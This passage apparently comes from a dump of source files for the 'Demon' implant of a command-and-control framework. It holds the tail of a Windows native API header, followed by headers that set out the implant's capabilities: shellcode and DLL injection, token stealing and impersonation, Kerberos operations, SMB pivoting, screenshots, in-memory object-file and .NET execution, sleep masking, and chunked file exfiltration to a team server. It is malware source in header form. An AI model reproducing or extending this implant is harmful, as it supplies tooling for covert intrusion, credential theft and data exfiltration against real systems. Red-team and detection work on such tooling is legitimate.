EventProperty,\r\n    ULONG UserDataCount,\r\n    PEVENT_DATA_DESCRIPTOR UserData);\r\n\r\n\r\nULONG\r\nNTAPI\r\nEtwEventWriteEndScenario(\r\n\tREGHANDLE RegHandle,\r\n\tPCEVENT_DESCRIPTOR EventDescriptor,\r\n\tULONG UserDataCount,\r\n\tPEVENT_DATA_DESCRIPTOR UserData\r\n\t);\r\n\r\nULONG\r\nNTAPI\r\nEtwEventWriteFull(\r\n\tREGHANDLE RegHandle,\r\n\tPCEVENT_DESCRIPTOR EventDescriptor,\r\n\tUSHORT EventProperty,\r\n\tLPCGUID ActivityId,\r\n\tLPCGUID RelatedActivityId,\r\n\tULONG UserDataCount,\r\n\tPEVENT_DATA_DESCRIPTOR UserData\r\n\t);\r\n\r\n\r\nULONG\r\nNTAPI\r\nEtwEventWriteStartScenario(\r\n\tREGHANDLE RegHandle,\r\n\tPCEVENT_DESCRIPTOR EventDescriptor,\r\n\tULONG UserDataCount,\r\n\tPEVENT_DATA_DESCRIPTOR UserData\r\n\t);\r\n\r\n\r\n//\r\n// old channel apis, from nt4\r\n//\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateChannel (\r\n    OUT PHANDLE ChannelHandle,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenChannel (\r\n    OUT PHANDLE ChannelHandle,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtListenChannel (\r\n    IN HANDLE ChannelHandle,\r\n    OUT PCHANNEL_MESSAGE *Message\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSendWaitReplyChannel (\r\n    IN HANDLE ChannelHandle,\r\n    IN PVOID Text,\r\n    IN ULONG Length,\r\n    OUT PCHANNEL_MESSAGE *Message\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReplyWaitSendChannel (\r\n    IN PVOID Text,\r\n    IN ULONG Length,\r\n    OUT PCHANNEL_MESSAGE *Message\r\n    );\r\n\r\n\r\nULONG\r\nNTAPI\r\nAlpcUnregisterCompletionListWorkerThread(\r\n\t\tPVOID CompletionList\r\n\t\t);\r\n\r\n\r\nvoid\r\nNTAPI\r\nRtlUpdateClonedCriticalSection(\r\n\t\tPRTL_CRITICAL_SECTION CriticalSection\r\n\t\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetFullPathName_UstrEx(\r\n\t\tPUNICODE_STRING FileName,\r\n\t\tPUNICODE_STRING StaticString,\r\n\t\tPUNICODE_STRING DynamicString,\r\n\t\tPPUNICODE_STRING StringUsed,\r\n\t\tPULONG FilePartPrefixCch,\r\n\t\tPUCHAR NameInvalid,\r\n\t\tPRTL_PATH_TYPE InputPathType,\r\n\t\tPULONG BytesRequired);\r\n\r\nint\r\nNTAPI\r\nLdrInitShimEngineDynamic(\r\n\t\tPVOID pShimEngineModule);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateKey(\r\n    OUT PHANDLE KeyHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    ULONG TitleIndex,\r\n    IN OPTIONAL PUNICODE_STRING Class,\r\n    IN ULONG CreateOptions,\r\n    OUT OPTIONAL PULONG Disposition\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetValueKey(\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING ValueName,\r\n    IN OPTIONAL ULONG TitleIndex,\r\n    IN ULONG Type,\r\n    IN OPTIONAL PVOID Data,\r\n    IN ULONG DataSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteFile (\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetVersion(\r\n\tOUT PRTL_OSVERSIONINFOW lpVersionInformation\r\n\t);\r\n\t\t\r\nNTSTATUS\r\nNTAPI\r\nZwWow64QueryInformationProcess64(\r\n    IN HANDLE ProcessHandle,\r\n    IN PROCESSINFOCLASS ProcessInformationClass,\r\n    OUT PVOID ProcessInformation,\r\n    IN ULONG ProcessInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWow64QueryVirtualMemory64(\r\n    IN HANDLE ProcessHandle,\r\n    IN PVOID BaseAddress,\r\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\r\n    OUT PVOID MemoryInformation,\r\n    IN SIZE_T MemoryInformationLength,\r\n    OUT OPTIONAL PSIZE_T ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWow64ReadVirtualMemory64(\r\n    IN HANDLE ProcessHandle,\r\n    IN OPTIONAL PVOID BaseAddress,\r\n    OUT PVOID Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesRead\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWow64WriteVirtualMemory64(\r\n    IN HANDLE ProcessHandle,\r\n    IN OPTIONAL PVOID BaseAddress,\r\n    IN CONST VOID *Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesWritten\r\n    );\r\n\r\nvoid\r\nNTAPI\r\nZwWow64GetCurrentProcessorNumberEx(\r\n\t\tOUT PPROCESSOR_NUMBER ProcNumber\r\n);\r\n\r\nPCSR_CAPTURE_HEADER\r\nNTAPI\r\nZwWow64CsrAllocateCaptureBuffer(\r\n    IN ULONG CountMessagePointers,\r\n    IN ULONG CountCapturePointers,\r\n    IN ULONG Size\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nZwWow64CsrAllocateMessagePointer(\r\n    _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer,\r\n    IN ULONG Length,\r\n    OUT PVOID *Pointer\r\n    );\r\n\r\nvoid\r\nNTAPI\r\nZwWow64CsrCaptureMessageBuffer(\r\n    _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer,\r\n    IN PVOID Buffer OPTIONAL,\r\n    IN ULONG Length,\r\n    OUT PVOID *CapturedBuffer\r\n    );\r\n\r\nvoid\r\nNTAPI\r\nZwWow64CsrCaptureMessageString(\r\n    _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer,\r\n    IN PCSTR String,\r\n    IN ULONG Length,\r\n    IN ULONG MaximumLength,\r\n    OUT PSTRING CapturedString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWow64CsrClientConnectToServer(\r\n    IN PWSTR ObjectDirectory,\r\n    IN ULONG ServerDllIndex,\r\n    IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL,\r\n    IN PVOID ConnectionInformation,\r\n    _Inout_ PULONG ConnectionInformationLength OPTIONAL,\r\n    OUT PBOOLEAN CalledFromServer OPTIONAL\r\n    );\r\n\r\nvoid\r\nNTAPI\r\nZwWow64CsrFreeCaptureBuffer(\r\n    IN PCSR_CAPTURE_HEADER CaptureBuffer\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWow64CsrIdentifyAlertableThread( \r\n    void\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWow64DebuggerCall (\r\n    IN ULONG ServiceClass,\r\n    IN ULONG Arg1,\r\n    IN ULONG Arg2\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCleanUpTEBLangLists(\r\n\t\tvoid\r\n\t\t);\r\n\r\nVOID\r\nKiUserApcDispatcher (\r\n\tPVOID NormalContext,\r\n\tPVOID SystemArgument1,\r\n\tPVOID SystemArgument2,\r\n\tPKNORMAL_ROUTINE NormalRoutine\r\n\t);\r\n\r\nVOID\r\nKiUserExceptionDispatcher (\r\n\tPEXCEPTION_RECORD ExceptionRecord,\r\n\tPCONTEXT ContextFrame\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateDebugObject(\r\n\tOUT PHANDLE DebugObjectHandle,\r\n\tIN ACCESS_MASK DesiredAccess,\r\n\tIN POBJECT_ATTRIBUTES ObjectAttributes,\r\n\tIN ULONG Flags\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDebugActiveProcess(\r\n\tIN HANDLE ProcessHandle,\r\n\tIN HANDLE DebugObjectHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDebugContinue(\r\n\tIN HANDLE DebugObjectHandle,\r\n\tIN PCLIENT_ID ClientId,\r\n\tIN NTSTATUS ContinueStatus\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRemoveProcessDebug(\r\n\tIN HANDLE ProcessHandle,\r\n\tIN HANDLE DebugObjectHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationDebugObject(\r\n\tIN HANDLE DebugObjectHandle,\r\n\tIN DEBUGOBJECTINFOCLASS DebugObjectInformationClass,\r\n\tIN PVOID DebugInformation,\r\n\tIN ULONG DebugInformationLength,\r\n\tOUT OPTIONAL PULONG ReturnLength\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWaitForDebugEvent(\r\n\tIN HANDLE DebugObjectHandle,\r\n\tIN BOOLEAN Alertable,\r\n\tIN OPTIONAL PLARGE_INTEGER Timeout,\r\n\tOUT PVOID WaitStateChange\r\n\t);\r\n\r\n// Debugging UI\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgUiConnectToDbg(\r\n\tVOID\r\n\t);\r\n\r\nHANDLE\r\nNTAPI\r\nDbgUiGetThreadDebugObject(\r\n\tVOID\r\n\t);\r\n\r\nVOID\r\nNTAPI\r\nDbgUiSetThreadDebugObject(\r\n\tIN HANDLE DebugObject\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgUiWaitStateChange(\r\n\tOUT PDBGUI_WAIT_STATE_CHANGE StateChange,\r\n\tIN OPTIONAL PLARGE_INTEGER Timeout\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgUiContinue(\r\n\tIN PCLIENT_ID AppClientId,\r\n\tIN NTSTATUS ContinueStatus\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgUiStopDebugging(\r\n\tIN HANDLE Process\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgUiDebugActiveProcess(\r\n\tIN HANDLE Process\r\n\t);\r\n\r\nVOID\r\nNTAPI\r\nDbgUiRemoteBreakin(\r\n\tIN PVOID Context\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgUiIssueRemoteBreakin(\r\n\tIN HANDLE Process\r\n\t);\r\n\r\nVOID\r\nNTAPI\r\nRtlExitUserProcess(\r\n\tIN NTSTATUS ExitStatus\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueueWorkItem(\r\n\tIN WORKERCALLBACKFUNC CallbackFunction,\r\n\tIN OPTIONAL PVOID Context,\r\n\tIN ULONG Flags\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateUserStack(\r\n\tSIZE_T CommittedStackSize,\r\n\tSIZE_T MaximumStackSize,\r\n\tSIZE_T ZeroBits,\r\n\tULONG PageSize,\r\n\tULONG ReserveAlignment,\r\n\tPINITIAL_TEB InitialTeb\r\n\t);\r\n\r\n\r\nLRESULT\r\nNTAPI\r\nNtdllDefWindowProc_W(\r\n\t);\r\n\r\n\r\nLRESULT\r\nNTAPI\r\nNtdllDefWindowProc_A(\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nLdrQueryProcessModuleInformation(\r\n\tPRTL_PROCESS_MODULES ModuleInformation,\r\n\tULONG ModuleInformationLength,\r\n\tPULONG ReturnLength\r\n\t);\r\n\r\nNTSYSAPI\r\nULONG\r\nNTAPI\r\nRtlRandomEx(\r\n    PULONG Seed\r\n\t);\r\n\r\nNTSYSAPI\r\nBOOL\r\nNTAPI\r\nImpersonateLoggedOnUser(\r\n \tIN HANDLE hToken\r\n\t);\r\n\r\nNTSYSAPI\r\nBOOL\r\nNTAPI\r\nDuplicateHandle(\r\n\tIN  HANDLE   hSourceProcessHandle,\r\n\tIN  HANDLE   hSourceHandle,\r\n\tIN  HANDLE   hTargetProcessHandle,\r\n \tOUT LPHANDLE lpTargetHandle,\r\n\tIN  DWORD    dwDesiredAccess,\r\n\tIN  BOOL     bInheritHandle,\r\n\tIN  DWORD    dwOptions\r\n\t);\r\n\r\nBOOL\r\nWINAPI\r\nAttachConsole(\r\n  IN DWORD dwProcessId\r\n);\r\n\r\nHANDLE\r\nWINAPI\r\nGetStdHandle(\r\n  IN DWORD nStdHandle\r\n);\r\n\r\n/*\r\nBOOL\r\nWINAPI\r\nWriteConsoleA(\r\n  IN  HANDLE  hConsoleOutput,\r\n  IN  VOID    *lpBuffer,\r\n  IN  DWORD   nNumberOfCharsToWrite,\r\n  OUT LPDWORD lpNumberOfCharsWritten,\r\n  IN  LPVOID  lpReserved\r\n);\r\n*/\r\ntypedef struct addrinfo {\r\n  int             ai_flags;\r\n  int             ai_family;\r\n  int             ai_socktype;\r\n  int             ai_protocol;\r\n  size_t          ai_addrlen;\r\n  char            *ai_canonname;\r\n  struct sockaddr *ai_addr;\r\n  struct addrinfo *ai_next;\r\n} ADDRINFOA, *PADDRINFOA;\r\n\r\nINT\r\nWSAAPI\r\ngetaddrinfo(\r\n\tIN OPTIONAL PCSTR           pNodeName,\r\n\tIN OPTIONAL PCSTR           pServiceName,\r\n\tIN OPTIONAL const ADDRINFOA *pHints,\r\n\tOUT         PADDRINFOA      *ppResult\r\n\t);\r\n\r\nVOID\r\nWSAAPI\r\nfreeaddrinfo(\r\n\tIN PADDRINFOA pAddrInfo\r\n\t);\r\n\r\n//\r\n// end non-crt prototypes\r\n//\r\n\r\n\r\n//\r\n// nt crt\r\n//\r\n//please do not change swprintf stuff otherwise win32 mode is always trashed\r\n#if !defined(_NO_NTDLL_CRT_)\r\n\r\n//readded 4 jan 2012\r\n//win64 mode does not need this\r\n//for using this routines ntdllp.lib is required\r\n#if !defined(_M_X64)\r\nIMPORT_FN size_t __cdecl wcslen(const wchar_t *);\r\nIMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src);\r\nIMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst);\r\nIMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *);\r\nIMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t);\r\nIMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *);\r\nIMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *);\r\nIMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch);\r\nIMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src);\r\nIMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count);\r\nIMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count);\r\n#endif //_M_X64\r\n\r\n#endif\t// _NO_NTDLL_CRT_\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n\r\n#endif /* _NTDLL_ */\r\n"
  },
  {
    "path": "payloads/Demon/include/core/CoffeeLdr.h",
    "content": "//\n// Created by spider on 18.03.21.\n//\n\n#ifndef DEMON_DOF_H\n#define DEMON_DOF_H\n\n#define SIZE_OF_PAGE 4096\n#define PAGE_ALLIGN( x ) ( PVOID )( U_PTR( x ) + ( ( SIZE_OF_PAGE - ( U_PTR( x ) & ( SIZE_OF_PAGE - 1 ) ) ) % SIZE_OF_PAGE ) )\n\n#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000\n#define IMAGE_SCN_MEM_EXECUTE    0x20000000\n#define IMAGE_SCN_MEM_READ       0x40000000\n#define IMAGE_SCN_MEM_WRITE      0x80000000\n\n// https://courses.cs.washington.edu/courses/cse378/03wi/lectures/LinkerFiles/coff.pdf\n#define SYMBOL_IS_A_FUNCTION 0x20\n\ntypedef struct _COFFEE_PARAMS\n{\n    PCHAR  EntryName;\n    DWORD  EntryNameSize;\n    PVOID  CoffeeData;\n    SIZE_T CoffeeDataSize;\n    PVOID  ArgData;\n    SIZE_T ArgSize;\n    UINT32 RequestID;\n} COFFEE_PARAMS, *PCOFFEE_PARAMS;\n\ntypedef struct _COFF_FILE_HEADER\n{\n    UINT16  Machine;\n    UINT16  NumberOfSections;\n    UINT32  TimeDateStamp;\n    UINT32  PointerToSymbolTable;\n    UINT32  NumberOfSymbols;\n    UINT16  SizeOfOptionalHeader;\n    UINT16  Characteristics;\n} COFF_FILE_HEADER, *PCOFF_FILE_HEADER;\n\n/* AMD64  should always be here */\n#define MACHINETYPE_AMD64 0x8664\n\n#pragma pack(push,1)\n\ntypedef struct _COFF_SECTION\n{\n    CHAR    Name[ 8 ];\n    UINT32  VirtualSize;\n    UINT32  VirtualAddress;\n    UINT32  SizeOfRawData;\n    UINT32  PointerToRawData;\n    UINT32  PointerToRelocations;\n    UINT32  PointerToLineNumbers;\n    UINT16  NumberOfRelocations;\n    UINT16  NumberOfLinenumbers;\n    UINT32  Characteristics;\n} COFF_SECTION, *PCOFF_SECTION;\n\ntypedef struct _COFF_RELOC\n{\n    UINT32  VirtualAddress;\n    UINT32  SymbolTableIndex;\n    UINT16  Type;\n} COFF_RELOC, *PCOFF_RELOC;\n\ntypedef struct _COFF_SYMBOL\n{\n    union\n    {\n        CHAR    Name[ 8 ];\n        UINT32  Value[ 2 ];\n    } First;\n\n    UINT32 Value;\n    UINT16 SectionNumber;\n    UINT16 Type;\n    UINT8  StorageClass;\n    UINT8  NumberOfAuxSymbols;\n} COFF_SYMBOL, *PCOFF_SYMBOL;\n\ntypedef struct _SECTION_MAP\n{\n    PCHAR   Ptr;\n    SIZE_T  Size;\n} SECTION_MAP, *PSECTION_MAP;\n\ntypedef struct _COFFEE\n{\n    PVOID             Data;\n    PCOFF_FILE_HEADER Header;\n    PCOFF_SECTION     Section;\n    PCOFF_RELOC       Reloc;\n    PCOFF_SYMBOL      Symbol;\n    PVOID             ImageBase;\n    SIZE_T            BofSize;\n    UINT32            RequestID;\n\n    PSECTION_MAP      SecMap;\n    PCHAR             FunMap;\n    SIZE_T            FunMapSize;\n\n    struct _COFFEE*   Next;\n} COFFEE, *PCOFFEE;\n\n#define COFFEE_KEY_VALUE_MAX_KEY 512\n\ntypedef struct _COFFEE_KEY_VALUE\n{\n    CHAR   Key[COFFEE_KEY_VALUE_MAX_KEY];\n    PVOID  Value;\n\n    struct _COFFEE_KEY_VALUE*   Next;\n} COFFEE_KEY_VALUE, *PCOFFEE_KEY_VALUE;\n\n/*!\n * CoffeeLdr\n * Simply executes an object file in the current thread (blocking)\n * @param EntryName\n * @param CoffeeData\n * @param ArgData\n * @param ArgSize\n * @param RequestID\n * @return\n */\nVOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID );\n\n/*!\n * CoffeeRunner\n * Creates a separate thread for executing an object file with its own output buffer.\n * Send back the status and output of the object file output buffer\n * @param EntryName\n * @param CoffeeData\n * @param ArgData\n * @param ArgSize\n * @param RequestID\n * @return\n */\nVOID  CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Command.h",
    "content": "#ifndef DEMON_COMMAND_H\n#define DEMON_COMMAND_H\n\n#include <core/Parser.h>\n\n/* Commands */\n#define DEMON_COMMAND_CHECKIN                   100\n#define DEMON_COMMAND_GET_JOB                   1\n#define DEMON_COMMAND_NO_JOB                    10\n#define DEMON_COMMAND_SLEEP                     11\n#define DEMON_COMMAND_PROC                      0x1010\n#define DEMON_COMMAND_PROC_LIST                 12\n#define DEMON_COMMAND_FS                        15\n#define DEMON_COMMAND_INLINE_EXECUTE            20\n#define DEMON_COMMAND_JOB                       21\n#define DEMON_COMMAND_INJECT_DLL                22\n#define DEMON_COMMAND_INJECT_SHELLCODE          24\n#define DEMON_COMMAND_SPAWN_DLL                 26\n#define DEMON_COMMAND_TOKEN                     40\n#define DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE   0x2001\n#define DEMON_COMMAND_ASSEMBLY_VERSIONS         0x2003\n#define DEMON_COMMAND_NET                       2100\n#define DEMON_COMMAND_CONFIG                    2500\n#define DEMON_COMMAND_SCREENSHOT                2510\n#define DEMON_COMMAND_PIVOT                     2520\n#define DEMON_COMMAND_TRANSFER                  2530\n#define DEMON_COMMAND_SOCKET                    2540\n#define DEMON_COMMAND_KERBEROS                  2550\n#define DEMON_COMMAND_MEM_FILE                  2560\n#define DEMON_PACKAGE_DROPPED                   2570\n\n#define DEMON_INFO                      89\n#define DEMON_OUTPUT                    90\n#define DEMON_ERROR                     91\n#define DEMON_EXIT                      92\n#define DEMON_KILL_DATE                 93\n#define BEACON_OUTPUT                   94\n#define DEMON_INITIALIZE                99\n\n#define DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION        1\n#define DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND 2\n#define DEMON_COMMAND_INLINE_EXECUTE_RAN_OK           3\n#define DEMON_COMMAND_INLINE_EXECUTE_COULD_NO_RUN     4\n\n#define DOTNET_INFO_PATCHED             0x1\n#define DOTNET_INFO_NET_VERSION         0x2\n#define DOTNET_INFO_ENTRYPOINT_EXECUTED 0x3\n#define DOTNET_INFO_FINISHED            0x4\n#define DOTNET_INFO_FAILED              0x5\n\n#define CALLBACK_ERROR_WIN32            0x1\n#define CALLBACK_ERROR_COFFEXEC         0x2\n#define CALLBACK_ERROR_TOKEN            0x3\n\n// Config options\n#define DEMON_CONFIG_SHOW_ALL                0\n\n#define DEMON_CONFIG_IMPLANT_SLEEPMASK       1\n#define DEMON_CONFIG_IMPLANT_SPFTHREADADDR   3\n#define DEMON_CONFIG_IMPLANT_VERBOSE         4\n#define DEMON_CONFIG_IMPLANT_SLEEP_TECHNIQUE 5\n#define DEMON_CONFIG_IMPLANT_COFFEE_THREADED 6\n#define DEMON_CONFIG_IMPLANT_COFFEE_VEH      7\n\n#define DEMON_CONFIG_MEMORY_ALLOC            101\n#define DEMON_CONFIG_MEMORY_EXECUTE          102\n\n#define DEMON_CONFIG_INJECTION_TECHNIQUE     150\n#define DEMON_CONFIG_INJECTION_SPOOFADDR     151\n\n#define DEMON_CONFIG_INJECTION_SPAWN64       152\n#define DEMON_CONFIG_INJECTION_SPAWN32       153\n#define DEMON_CONFIG_KILLDATE                154\n#define DEMON_CONFIG_WORKINGHOURS            155\n\n#define DEMON_NET_COMMAND_DOMAIN             1\n#define DEMON_NET_COMMAND_LOGONS             2\n#define DEMON_NET_COMMAND_SESSIONS           3\n#define DEMON_NET_COMMAND_COMPUTER           4\n#define DEMON_NET_COMMAND_DCLIST             5\n#define DEMON_NET_COMMAND_SHARE              6\n#define DEMON_NET_COMMAND_LOCALGROUP         7\n#define DEMON_NET_COMMAND_GROUP              8\n#define DEMON_NET_COMMAND_USER               9\n\n#define DEMON_PIVOT_LIST                     1\n\n#define DEMON_PIVOT_SMB_CONNECT              10\n#define DEMON_PIVOT_SMB_DISCONNECT           11\n#define DEMON_PIVOT_SMB_COMMAND              12\n\n#define DEMON_INFO_MEM_ALLOC                 10\n#define DEMON_INFO_MEM_EXEC                  11\n#define DEMON_INFO_MEM_PROTECT               12\n#define DEMON_INFO_PROC_CREATE               21\n\n#define DEMON_CHECKIN_OPTION_PIVOTS          1\n\n#define DEMON_COMMAND_JOB_LIST               1\n#define DEMON_COMMAND_JOB_SUSPEND            2\n#define DEMON_COMMAND_JOB_RESUME             3\n#define DEMON_COMMAND_JOB_KILL_REMOVE        4\n#define DEMON_COMMAND_JOB_DIED               5\n\n#define DEMON_COMMAND_TRANSFER_LIST          0\n#define DEMON_COMMAND_TRANSFER_STOP          1\n#define DEMON_COMMAND_TRANSFER_RESUME        2\n#define DEMON_COMMAND_TRANSFER_REMOVE        3\n\n#define DEMON_COMMAND_PROC_MODULES           2\n#define DEMON_COMMAND_PROC_GREP              3\n#define DEMON_COMMAND_PROC_CREATE            4\n#define DEMON_COMMAND_PROC_MEMORY            6\n#define DEMON_COMMAND_PROC_KILL              7\n\n#define DEMON_COMMAND_TOKEN_IMPERSONATE      1\n#define DEMON_COMMAND_TOKEN_STEAL            2\n#define DEMON_COMMAND_TOKEN_LIST             3\n#define DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST 4\n#define DEMON_COMMAND_TOKEN_MAKE             5\n#define DEMON_COMMAND_TOKEN_GET_UID          6\n#define DEMON_COMMAND_TOKEN_REVERT           7\n#define DEMON_COMMAND_TOKEN_REMOVE           8\n#define DEMON_COMMAND_TOKEN_CLEAR            9\n#define DEMON_COMMAND_TOKEN_FIND_TOKENS      10\n\n#define DEMON_COMMAND_FS_DIR                 1\n#define DEMON_COMMAND_FS_DOWNLOAD            2\n#define DEMON_COMMAND_FS_UPLOAD              3\n#define DEMON_COMMAND_FS_CD                  4\n#define DEMON_COMMAND_FS_REMOVE              5\n#define DEMON_COMMAND_FS_MKDIR               6\n#define DEMON_COMMAND_FS_COPY                7\n#define DEMON_COMMAND_FS_MOVE                8\n#define DEMON_COMMAND_FS_GET_PWD             9\n#define DEMON_COMMAND_FS_CAT                 10\n\n\ntypedef struct\n{\n    INT ID;\n    VOID ( *Function ) ( PPARSER Arguments );\n} DEMON_COMMAND ;\n\nBOOL InWorkingHours( );\nBOOL ReachedKillDate( );\nVOID KillDate( );\n\n/* dispatcher */\nVOID CommandDispatcher( VOID );\n\n/* commands */\nVOID CommandCheckin(\n    IN PPARSER Parser\n);\n\nVOID CommandSleep(\n    IN PPARSER DataArgs\n);\n\nVOID CommandExit(\n    IN PPARSER DataArgs\n);\n\nVOID CommandJob(\n    IN PPARSER DataArgs\n);\n\nVOID CommandProc(\n    IN PPARSER DataArgs\n);\n\nVOID CommandProcList(\n    IN PPARSER DataArgs\n);\n\nVOID CommandFS(\n    IN PPARSER DataArgs\n);\n\nVOID CommandInjectDLL(\n    IN PPARSER DataArgs\n);\n\nVOID CommandInjectShellcode(\n    IN PPARSER DataArgs\n);\n\nVOID CommandSpawnDLL(\n    IN PPARSER DataArgs\n);\n\nVOID CommandInlineExecute(\n    IN PPARSER DataArgs\n);\n\nVOID CommandAssemblyInlineExecute(\n    IN PPARSER DataArgs\n);\n\nVOID CommandAssemblyListVersion(\n    IN PPARSER Parser\n);\n\nVOID CommandScreenshot(\n    IN PPARSER Parser\n);\n\nVOID CommandConfig(\n    IN PPARSER Parser\n);\n\nVOID CommandNet(\n    IN PPARSER Parser\n);\n\nVOID CommandToken(\n    IN PPARSER Parser\n);\n\nVOID CommandPivot(\n    IN PPARSER Parser\n);\n\nVOID CommandTransfer(\n    IN PPARSER Parser\n);\n\nVOID CommandSocket(\n    IN PPARSER Parser\n);\n\nVOID CommandKerberos(\n    IN PPARSER Parser\n);\n\nVOID CommandMemFile(\n    IN PPARSER Parser\n);\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Dotnet.h",
    "content": "#include <common/Clr.h>\n\nBOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments );\nVOID DotnetClose();\nVOID DotnetPush();"
  },
  {
    "path": "payloads/Demon/include/core/Download.h",
    "content": "#ifndef DEMON_FILETRANFER_H\n#define DEMON_FILETRANFER_H\n\n#include <windows.h>\n\n#define DOWNLOAD_MODE_OPEN       0x0\n#define DOWNLOAD_MODE_WRITE      0x1\n#define DOWNLOAD_MODE_CLOSE      0x2\n\n#define DOWNLOAD_REASON_FINISHED 0x0\n#define DOWNLOAD_REASON_REMOVED  0x1\n\n#define DOWNLOAD_STATE_RUNNING   0x1\n#define DOWNLOAD_STATE_STOPPED   0x2\n#define DOWNLOAD_STATE_REMOVE    0x3\n\ntypedef enum {\n    Running,\n    Stopped,\n    Remove,\n} DownloadState;\n\ntypedef struct _DOWNLOAD_DATA\n{\n    /* Some random ID so both teamserver and agent knows what file it is */\n    DWORD FileID;\n\n    /* file handle opened/created using CreateFile */\n    HANDLE hFile;\n\n    /* The random task id associated with the requested download*/\n    UINT32 RequestID;\n\n    /* What we have left to read. */\n    LONGLONG Size;\n\n    /* What we already read. */\n    LONGLONG ReadSize;\n\n    /* Current state of file transfer */\n    DownloadState State;\n\n    /* Next file in linked list */\n    struct _DOWNLOAD_DATA* Next;\n} DOWNLOAD_DATA, *PDOWNLOAD_DATA;\n\n/* This can be a BOF, a .NET binary or a generic file */\ntypedef struct _MEM_FILE\n{\n    /* Some random ID so both teamserver and agent knows what MemFile it is */\n    ULONG32 ID;\n\n    /* Size of the MemFile. */\n    SIZE_T Size;\n\n    /* What we already read. */\n    SIZE_T ReadSize;\n\n    /* Pointer to file contents */\n    PVOID Data;\n\n    /* Has the entire file been received? */\n    BOOL IsCompleted;\n\n    /* Next file in linked list */\n    struct _MEM_FILE* Next;\n} MEM_FILE, *PMEM_FILE;\n\n/* Add file to linked list with type (upload/download) */\nPDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize );\n\n/* Get download data from linked list */\nPDOWNLOAD_DATA DownloadGet( DWORD FileID );\n\nBOOL DownloadRemove( DWORD FileID );\n\n/* send file chunks to team server */\nVOID DownloadPush();\n\nBOOL MemFileIsNew( ULONG32 ID );\n\nPMEM_FILE GetMemFile( 